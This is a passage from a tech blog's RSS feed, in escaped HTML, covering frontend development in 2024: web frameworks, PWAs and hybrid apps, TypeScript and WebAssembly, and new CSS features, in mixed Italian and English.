        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c85cb/web-frameworks-features.webp 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/e88ff/web-frameworks-features.webp 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/92f8c/web-frameworks-features.webp 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/62ed8/web-frameworks-features.webp 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/882b9/web-frameworks-features.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/5a46d/web-frameworks-features.png 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/0a47e/web-frameworks-features.png 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/d61c2/web-frameworks-features.png 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 6 - La convergenza dei framework  &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png&quot; title=&quot;Immagine 6 - La convergenza dei framework  &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 6 - La convergenza dei framework  &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M138%2029v7l1%206h39V28h-20l-20%201m87%206v7h40V28h-40v7M91%2030v6l1%205h13c16%200%2016%200%2016-6s0-6-15-6l-15%201m32%200l-1%205v5h10l1-5v-5l-5-1-5%201m16%2016l-1%207%201%207h39V46h-39m43%200v14h40v-6l-1-7c-1-1-38-2-39-1m43%201v7l1%206h39v-7l-1-7c-15-1-38%200-39%201m54-1l-1%207%201%207h39V46h-39M95%2052c0%207%200%207%2013%207%2012%200%2013-1%2013-6%200-6%200-6-14-6H95v5m28-4l-1%205v5h11V48l-5-1-5%201m15%2016v8l1%206h39V64l-20-1-20%201m44%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m43-6v8l1%206h39V64l-20-1-20%201M94%2070l1%206h12c14%200%2015%200%2014-8v-2l-14-1H94v5m28%200l1%206h10V65h-11v5m-65-2l-1%204v3h27v-5h-2l-1-1v5c-1%200-2-1-1-2%200-2%200-2-1%200h-2l1-2-1-2c-1-1-1%200-1%203s0%203-1%201c0-4-4-4-3%200l-1%202-2-3-1-2v3l-1%202-1-2c0-2-3-4-4-2h-2v2l-1%201c-2-1-1-4%201-4v-1h-2m81%2014v7l1%206h39V81h-20l-20%201m44%206v7h40V82l-20-1h-20v7m-84-5v6l1%205h10l11-1V83c-2-2-21-1-22%200m24%205l1%206h10V83h-11v5m-80%201v4h23c22%200%2023%200%2023-2l-1-2v-1c1-1%201-1-1-1s-2%200-2%203v2l-1-3c0-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%203%200%203-2%203-3%200-4%200-3-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201v3l-1-2c0-2-1-3-2-3l-2%201-1%201c-2%200-2%200-1%201l-1%201h-1v1c-1%200-2-1-1-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%202%200%203-1%203v-1l-1-1-3-2-3-1c-1%201-2%200-2-1-2-3-4-1-4%203m96%2017l1%207h39V99h-40v7m87%200v7h40V99h-40v7m-115-5l-1%205v5h11v-10l-5-1-5%201m13%200l-1%205v5h11v-10l-5-1-5%201m15%2016v8l1%206h39v-14l-20-1-20%201m45%200l-1%207v7h19c22%200%2021%200%2021-7%200-8%201-8-20-8l-19%201m-61%202v6l1%204h10v-11h-5l-6%201m-47%205v3l14%201c13%200%2014%200%2013-2-2%200-2-1-1-1l1-1h-1l-1-1v-1l-1%203-2%202c-2%200-3-2-1-4v-1c-1%200-2%201-2%203l-2%202c-2%200-3-2%200-2%202-1%201-4-1-4s-2%201-2%203%200%203-2%202v-1l1-1h-1l-1-1h-3l-1%201c-1%202-1%202-1%200%200-1%200-2-1-1l-1-1h-2l-1%201-1-2v3m64%2011l-1%207v6h40v-14h-19l-20%201m43%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7m-103%200l1%206h10v-11h-11v5m16%2012v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-14h-40v7m-103-5v6l1%205h10v-11l-5-1-6%201m17%2016l-1%207%201%207h39v-14l-19-1-20%201m44%200l-1%207v7h19c17%200%2020%200%2020-2v-12c-1-1-37-2-38%200m42%200v8l1%206h39v-7l-1-7c-3-2-38-1-39%200m-86%2018l-1%207c0%207-1%207%2022%207h18v-14l-20-1-19%201m43%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m-94%201l-1%204h19c11%200%2019%200%2018-1v-5l-1%201h-1c-2-1-2-1-1%202%201%202%201%202-1%202-1%200-2-1-2-3l-1-2v3l-1%202-1-2c0-4-4-4-4%200l-1%203v-3c0-2%200-3-2-3l-1%203-2%202v-2l-1-2h-1v1c0%203-2%204-3%202v-1l1-1h-1l-1-1v-1l-1%203-1%202-2-5-1-2-1%203c1%204-1%205-3%203v-6c-1%200-2%201-2%204m50%2011v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c85cb/web-frameworks-features.webp 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/e88ff/web-frameworks-features.webp 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/92f8c/web-frameworks-features.webp 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/62ed8/web-frameworks-features.webp 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/882b9/web-frameworks-features.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/5a46d/web-frameworks-features.png 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/0a47e/web-frameworks-features.png 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/d61c2/web-frameworks-features.png 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 7 - Developer experience nei web framework  &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png&quot; title=&quot;Immagine 7 - Developer experience nei web framework  &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 7 - Developer experience nei web framework  &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Di seguito un elenco delle risorse più famose e valide per categoria:&lt;/p&gt;&lt;p&gt;Modern React frameworks:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://remix.run&quot;&gt;Remix (React)&lt;/a&gt;, &lt;a href=&quot;https://nextjs.org&quot;&gt;Next.js (React)&lt;/a&gt;, &lt;a href=&quot;https://nuxt.com&quot;&gt;Nuxt (Vue)&lt;/a&gt;, &lt;a href=&quot;https://www.gatsbyjs.com&quot;&gt;Gatsby (React)&lt;/a&gt;, &lt;a href=&quot;https://docusaurus.io&quot;&gt;Docusaurus (React)&lt;/a&gt; , &lt;a href=&quot;https://vitejs.dev&quot;&gt;Vite (agnostic)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Altri web framework:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://kit.svelte.dev&quot;&gt;SvelteKit (Svelte)&lt;/a&gt;, &lt;a href=&quot;https://vuepress.vuejs.org&quot;&gt;VuePress (Vue)&lt;/a&gt;, &lt;a href=&quot;https://start.solidjs.com&quot;&gt;SolidStart (Solid) (beta)&lt;/a&gt;, &lt;a href=&quot;https://www.11ty.dev&quot;&gt;Eleventy&lt;/a&gt;, &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view&quot;&gt;Phoenix LiveView (Elixir/Erlang)&lt;/a&gt;&lt;/p&gt;&lt;h2 id=&quot;hybrid-application-development-a-codebase-to-rule-them-all&quot;&gt;Hybrid Application Development A codebase to rule them all&lt;/h2&gt;&lt;p&gt;Nel mondo dello sviluppo mobile, si sta assistendo a un significativo cambiamento verso lo sviluppo di applicazioni ibrido. Le novità di rilievo in questo campo sono le &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps&quot;&gt;PWA&lt;/a&gt; (Progressive Web Applications). Le PWA sono essenzialmente applicazioni web che, quando aperte tramite browser su un dispositivo mobile, offrono un&amp;#x27;esperienza simile a quella delle applicazioni native. Queste possono essere aggiunte alla schermata home del dispositivo e, solo di recente anche sui dispositivi Apple, sono in grado di inviare notifiche e svolgere gran parte delle funzioni delle app native. Le PWA stanno guadagnando popolarità in quanto non richiedono installazione, non occupano spazio sui dispositivi e la loro performance è meno dipendente dalle specifiche del dispositivo stesso.&lt;/p&gt;&lt;p&gt;Se le PWA non sembrano la soluzione ideale per il vostro progetto, la scelta più logica è lo sviluppo su una piattaforma ibrida, che consente di utilizzare una sola code-base per creare eseguibili sia per Android che per iOS. L&amp;#x27;utilizzo di framework come React Native offre la possibilità di sviluppare un&amp;#x27;applicazione per diversi sistemi operativi in un unico posto. Inoltre, questa approccio consente una maggiore flessibilità nella condivisione di sviluppatori tra progetti, poiché un esperto di React può facilmente acquisire le competenze necessarie per sviluppare in &lt;a href=&quot;https://reactnative.dev/&quot;&gt;React Native&lt;/a&gt; e viceversa.&lt;/p&gt;&lt;p&gt;Infine, va menzionato che esistono situazioni particolari in cui è ancora vantaggioso sviluppare un&amp;#x27;applicazione per un solo sistema operativo, come applicazioni di editing, design e disegno, o qualsiasi altra applicazione che richieda un utilizzo intensivo delle risorse. Queste traggono beneficio dall&amp;#x27;essere sviluppate con framework di più basso livello che consentono di sfruttare appieno le performance del dispositivo. In questi casi, &lt;a href=&quot;https://developer.android.com/studio?hl=it&quot;&gt;Android Studio&lt;/a&gt; con Kotlin o &lt;a href=&quot;https://www.apple.com/it/swift/&quot;&gt;Swift&lt;/a&gt; nel mondo Apple rimangono scelte imbattibili.&lt;/p&gt;&lt;h2 id=&quot;lascesa-di-typescript-wasm-allorizzonte&quot;&gt;L&amp;#x27;ascesa di Typescript, WASM all&amp;#x27;orizzonte&lt;/h2&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/29114/languages.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M148%2042c-4%202-7%205-7%207l-17%201h-17v50h51V80c0-17%200-20%202-21%202-3%202-11-1-13-4-4-8-5-11-4m111%2033v25h50V83l-1-18h-5l-1-2-2-1c-1-1-2-2-3-1v-1c0-2%200-2-2-1v-4l-1-2v-1c2%200%202%200%200-1-2-3-3-2-5%201-3%205-11%203-11-2l-9-1h-10v26m-141-1c0%203%201%204%204%204h3v9c0%209%200%209%203%209%202%200%202%200%202-9V77h3c2%200%203%200%203-2s0-2-8-2l-10%201m23%201c-4%203-2%208%205%2012%203%202%204%204%201%205l-5-1c-3-2-5%200-3%203%205%204%2015%202%2015-4%200-2-5-8-7-8-3%200-4-2-3-4h3c3%202%206%200%203-3-2-2-6-3-9%200m130%203l2%209c2%209%204%2010%206%201l1-5%201%205c2%209%205%208%207-2%202-9%202-10%201-10l-3%206-2%207-1-7c-2-9-4-8-6%204-1%202-1%201-3-5-1-5-3-7-3-3m23-1l-4%2016c0%202%203%201%204-1%200-1%201-2%203-2l4%202c0%202%203%203%203%201%200-5-5-17-7-17l-3%201M65%20124l-8%201c-1%200-2%208%200%208l1-1h2l4-1h4c2%200%203-2%203-6%200-2-5-3-6-1m244%201c-6%201-8%202-8%206%200%202%201%202%208%201l1-1v-3l1%202c0%202%201%203%203%201%202-1%202-3%202-5v-3l-7%202m-226%202h-3c0-1-1-1-1%201-1%201-1%202-3%201l-1%201v2l-1%201-2%201c1%201-2%203-2%202l-1%201-2%202-1%203v2c-2%200-3%202-1%203v9c1%200%202%201%201%202l1%202%201%203%202%201%201%202%202%202%202%201%201%202%203%201%202%201c1-1%202%200%202%201h9c1%202%203%201%203-1h2l3-1c0-1%201-2%202-1l2-1%202-2%201-2%202-2%201-2c-1-1%200-1%201-2%202%200%202-1%201-1-1-1-1-3%201-3%201%200%202-2%200-3v-6c2-1%201-3%200-3-2%200-2-1-1-3%201-1%201-1-1-1-1-1-2-2-1-3l-1-2-2-1-1-2-2-2-2-1c-1%201-2%200-3-1%200-2%200-2-1-1h-3c0-2-2-3-3-1h-6c-1-2-3-1-3%201m178%204l15%2026%204-6%204-6%204%206%204%206a176%20176%200%200010-19h-1c0-1-1-2-2-1v-3l-2%202c-1%202-1%201-3-2l-2-4h-16l-15%201m-181%203l-4%203h10c11%200%2014%201%2015%205v5c-2%202-2%202-1%205%202%203%204%204%205%201l1-2c2%200%201-3-1-4s-2-2-1-4c2-3-1-6-6-9-4-2-5-2-7-1-2%202-3%202-4%200-2-2-3-1-7%201m100%2021c0%208-1%2011-4%209-5-2-7%202-3%204%203%203%208%202%2010%200s2-3%202-11c0-10%200-10-2-10-3%200-3%200-3%208m10-6c-4%203-2%208%203%2011l4%204h-5c-2-2-5%200-4%202%201%204%209%205%2013%202%204-5%202-10-5-12-4-2-4-4%200-4%205%201%206-1%203-3-2-3-7-2-9%200m-105%205l3%201c2%200%202%200%202%203v3h-8c-4%200-6%200-5%201l4%202c2%206%2014%206%2016%200l4-2c2%200%201-1-2-1-4%200-5-1-7-6-1-3-7-4-7-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/c85cb/languages.webp 300w,/static/e2b73fff74bc7090be2e7b701826a28d/e88ff/languages.webp 600w,/static/e2b73fff74bc7090be2e7b701826a28d/92f8c/languages.webp 1200w,/static/e2b73fff74bc7090be2e7b701826a28d/62ed8/languages.webp 1800w,/static/e2b73fff74bc7090be2e7b701826a28d/882b9/languages.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/5a46d/languages.png 300w,/static/e2b73fff74bc7090be2e7b701826a28d/0a47e/languages.png 600w,/static/e2b73fff74bc7090be2e7b701826a28d/c1b63/languages.png 1200w,/static/e2b73fff74bc7090be2e7b701826a28d/d61c2/languages.png 1800w,/static/e2b73fff74bc7090be2e7b701826a28d/29114/languages.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Immagine 8 - Linguaggi e standard &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/c1b63/languages.png&quot; title=&quot;Immagine 8 - Linguaggi e standard &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Immagine 8 - Linguaggi e standard &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Negli ultimi anni, si è verificata una vera e propria rivoluzione nell&amp;#x27;ambito dei linguaggi e degli standard utilizzati nello sviluppo web e frontend. Un punto di riferimento imprescindibile è rappresentato da &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt;, ormai imprescindibile nello sviluppo frontend e fondamentale da conoscere. Va notato che molte delle tecnologie menzionate precedentemente sono state sviluppate proprio utilizzando TypeScript. JavaScript stesso è in continua evoluzione, indroducendo numerose nuove funzionalità, tra cui nuovi metodi per la gestione degli array e &lt;a href=&quot;https://tc39.es/proposal-temporal/docs/&quot;&gt;Temporal&lt;/a&gt;, un sostituto di &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date&quot;&gt;Date&lt;/a&gt; che offre metodi molto più intuitivi per la gestione e la conversione delle date.&lt;/p&gt;&lt;p&gt;Un&amp;#x27;altra rivoluzione nel mondo dello sviluppo web è rappresentata da &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt;, che introduce un nuovo standard per la compilazione del codice, sfruttando il browser stesso come runtime.  Ogni linguaggio di programmazione viene eseguito in maniera differente: i linguaggi di basso livello come C, C++, Golang e Rust vengono compilati ed eseguiti direttamente dal sistema operativo, garantendo efficienza. D&amp;#x27;altra parte, linguaggi come Java, C# e il mondo .NET venivano compilati in bytecode intermedio, poi eseguito da una virtual machine o da un runtime. Infine, i linguaggi di alto livello, come i linguaggi di scripting (ad esempio JavaScript, Python, Ruby, PHP), vengono eseguiti just-in-time, un approccio che risulta generalmente meno efficiente. WebAssembly consente a ciascun linguaggio di essere compilato in bytecode (WebAssembly), consentendo a tutti i browser dotati di un runtime apposito di poi eseguirlo, risparmiando risorse e offrendo applicazioni più veloci.&lt;/p&gt;&lt;p&gt;Altra innovazione di rilievo nel mondo del web è &lt;a href=&quot;https://www.w3.org/TR/webgpu/&quot;&gt;WebGPU&lt;/a&gt;, uno standard che consente ai browser di sfruttare la grande potenza di calcolo delle GPU. Questo apre la strada a tutte le applicazioni web che richiedono elevate prestazioni e un notevole utilizzo di risorse.&lt;/p&gt;&lt;p&gt;Infine, meritano una menzione i progressi del linguaggio &lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;Rust&lt;/a&gt;, che, grazie a framework come &lt;a href=&quot;https://rocket.rs/&quot;&gt;Rocket&lt;/a&gt;, &lt;a href=&quot;https://github.com/http-rs/tide&quot;&gt;Tide&lt;/a&gt; e &lt;a href=&quot;https://github.com/nickel-org/nickel.rs&quot;&gt;Nickel&lt;/a&gt;, si sta facendo strada anche nel mondo dello sviluppo frontend. Questa evoluzione consente la creazione di applicazioni altamente sicure e performanti.&lt;/p&gt;&lt;h2 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h2&gt;&lt;p&gt;In chiusura, emerge chiaramente che il mondo del frontend nel 2024 è vastissimo e in costante espansione. Sebbene questa vastità possa sembrare intimidatoria, diventare uno sviluppatore frontend non è mai stato così accessibile: le community sono coese, c&amp;#x27;è una vasta gamma di librerie e framework da esplorare, il tutto supportato dalla costante introduzione di nuovi standard e tecnologie. Dopo aver acquisito le basi (HTML, CSS e JavaScript), si apre un ampio oceano di opportunità tra cui scegliere, c’è sicuramente qualcosa che si adatterà al vostro stile.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[The state of Front-end in 2024]]></title><link>https://techblog.smc.itpanorama-frontend-2024</link><guid isPermaLink="false">https://techblog.smc.itpanorama-frontend-2024</guid><pubDate>Fri, 20 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In 2024, the frontend landscape offers developers a vast array of technologies, including libraries, frameworks, languages, and ecosystems. But, fundamentally, what should a frontend developer know and master to become an invaluable asset to their organization? How does one navigate this ever-evolving world?&lt;/p&gt;&lt;p&gt;This article is intended to be a useful guide for both newcomers to the programming field and experienced developers, providing as comprehensive a framework as possible for the complex world of frontend development. Numerous paths are explored, accompanied by advice, strategies, and resources, with the aim of facilitating navigation and success in this dynamic and continually evolving context.&lt;/p&gt;&lt;h2 id=&quot;css&quot;&gt;CSS&lt;/h2&gt;&lt;p&gt;Il CSS moderno non è più un insieme di semplici fogli di stile volti a migliorare l&amp;#x27;aspetto delle applicazioni web. Esso ha assimilato le lezioni apprese dai pre-processori e dal CSS-in-JS, trasformandosi in un &amp;quot;linguaggio di programmazione&amp;quot; quasi completo. Oggi, il CSS dispone di strumenti di layouting per il web senza paragoni, offrendo agli sviluppatori un&amp;#x27;incredibile facilità nel personalizzare i componenti, sfruttando logiche che in passato richiedevano necessariamente l&amp;#x27;uso di JavaScript. Questa evoluzione ha reso il CSS un potente alleato nel mondo dello sviluppo web, consentendo di creare esperienze utente sofisticate e altamente personalizzate in modo efficiente ed elegante.&lt;/p&gt;&lt;h4 id=&quot;from-target-to-source&quot;&gt;From target to source&lt;/h4&gt;&lt;p&gt;As mentioned earlier, CSS has learned from the teachings of preprocessors. In fact, in the current web development landscape, the use of SASS or SCSS in projects has become essential, thanks to their ease of composition and semantic simplification. To address this gap, modern CSS has introduced new tools:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_nesting&quot;&gt;Nested rules&lt;/a&gt; - To make dev&amp;#x27;s life easier.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascading_variables&quot;&gt;Cascading variables&lt;/a&gt; - To make style customization faster.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Functions#math_functions&quot;&gt;More math functions&lt;/a&gt; - Why not?&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Furthermore, CSS has incorporated the lessons from modules, introducing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@layer&quot;&gt;@layer&lt;/a&gt; - Create layers and define the order of precedence in case of multiple layers.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:where&quot;&gt;:where()&lt;/a&gt; - From a list of selectors, select any element described by one of the selectors in the list.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:is&quot;&gt;:is&lt;/a&gt; - From a selector list, select any element that can be selected by one of the selectors in that list.&lt;/li&gt;&lt;/ul&gt;&lt;h4 id=&quot;more-powerful-than-ever&quot;&gt;More powerful than ever&lt;/h4&gt;&lt;p&gt;CSS has undergone an incredible transformation, becoming extremely powerful, thanks in part to Grid and Flexbox. These properties have revolutionized the management of web page layouts, providing designers and developers with precise and efficient control over element positioning. Additionally, the introduction of new properties has made it possible to integrate long-awaited features, allowing developers to adjust styles in response to user behavior, all without the need for additional scripting.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment&quot;&gt;containment&lt;/a&gt; - Improve web performance by allowing the browser to isolate different subtrees of the page.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:has&quot;&gt;:has()&lt;/a&gt; - The famous parent selector.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values&quot;&gt;Logical properties (LTR vs RTL)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_container_queries&quot;&gt;@container&lt;/a&gt; - Apply styles to an element based on the size of the element&amp;#x27;s container.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert&quot;&gt;[ inert ]&lt;/a&gt; - Boolean attribute indicating that the browser will ignore the element.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Of course, CSS continues to refine its original role as a stylesheet, adding new features to adapt to new color approaches and ensure maximum compatibility:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklch&quot;&gt;oklch()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklab&quot;&gt;oklab()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hwb&quot;&gt;hwb()&lt;/a&gt; - Expresses an sRGB color based on its hue, whiteness, and blackness.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color&quot;&gt;color()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color-contrast&quot;&gt;color-contrast()&lt;/a&gt; - To find the contrast color.&lt;/li&gt;&lt;/ul&gt;&lt;h4 id=&quot;hyper-responsive-web-design&quot;&gt;Hyper-responsive™ Web Design&lt;/h4&gt;&lt;p&gt;Last but certainly not least, CSS now enables the development of hyper-responsive applications. It&amp;#x27;s no longer limited to merely adjusting the layout to screen sizes, but it can be customized based on device characteristics and user preferences, all with a keen focus on accessibility.&lt;/p&gt;&lt;p&gt;Here are the responsive updates:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/length#relative_length_units_based_on_viewport&quot;&gt;Dynamic viewport units&lt;/a&gt; - Viewport si adatta automaticamente alle dimensioni del browser che si espande o si ritrae dinamicamente&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/env&quot;&gt;env(Device safe areas)&lt;/a&gt; - Tiene conto dell&amp;#x27;interfaccia dell&amp;#x27;ambiente, come la barra di ricerca browser su 